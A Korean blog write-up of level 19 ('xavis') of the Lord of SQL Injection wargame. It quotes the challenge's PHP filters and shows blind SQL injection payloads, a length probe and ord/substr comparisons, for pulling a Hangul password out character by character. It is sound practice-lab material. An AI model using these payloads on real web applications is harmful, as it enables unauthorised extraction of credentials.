[Lord of SQL Injection] xavis 19번 (feat. 한글...)
0 . xavis
... 이미지가 따로 없는 듯하다 못찾음.
1. 전체 소스 코드
2. 주요 코드 분석
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_xavis where id='admin' and pw='{$_GET[pw]}'";
$query = "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis");
1) Preg_match 함수
/prob
_
.
( )
regex, like
필터링되고 /i를 통해 대소문자 구별을 하지 않습니다.
아직까지 다른점은 regex, like이 추가적으로 필터링 된다는 점이 있습니다.
그리고 Solve되려면 입력받은 pw가 DB에 저장된 것과 동일해야 됩니다.
즉, Blind SQLi로 문제를 풀어보겠습니다.
3. Solve
?pw=1' or length(pw)='12를 입력하였을 때, "hello admin"으로 출력되는 것을 보아 pw길이는 12로 확인하였습니다.
그리고.......
ORC 4번 문제처럼 string함수를 사용하여 여러 문자를 대입하였으나. 풀리지 않는다.
https://toriyong.tistory.com/36
아스키 함수를 모두 대입하였으나, 문제는 풀리지 않는다. 고생을 하다 찾아보니
패이로드는 ord()함수 사용해서 작성해야한다는 점
그래서 범위를 확인하였으나,?pw=1' or '1'='1' and ord(mid(pw,1,1))>'#
?pw=1%27%20or%20%271%27=%271%27%20and%20ord(mid(pw,1,1))>%27 44032에서
?pw=1%27%20or%20%271%27=%271%27%20and%20ord(mid(pw,1,1))<%27 55215 까지
범위가....11,183개를 하나씩 대입하기에는 힘들 것 같아 더 이상은 한땀한땀 작성하기에는 힘들 것 같아
파이썬을 사용하여 작성해야할 것 같습니다.
이번 문제의 중요한 키는
query=url+"?pw=' or id='admin' and ord(substr(pw,{},1))>={}%23"
사용하여 문제를 풀 수 있다.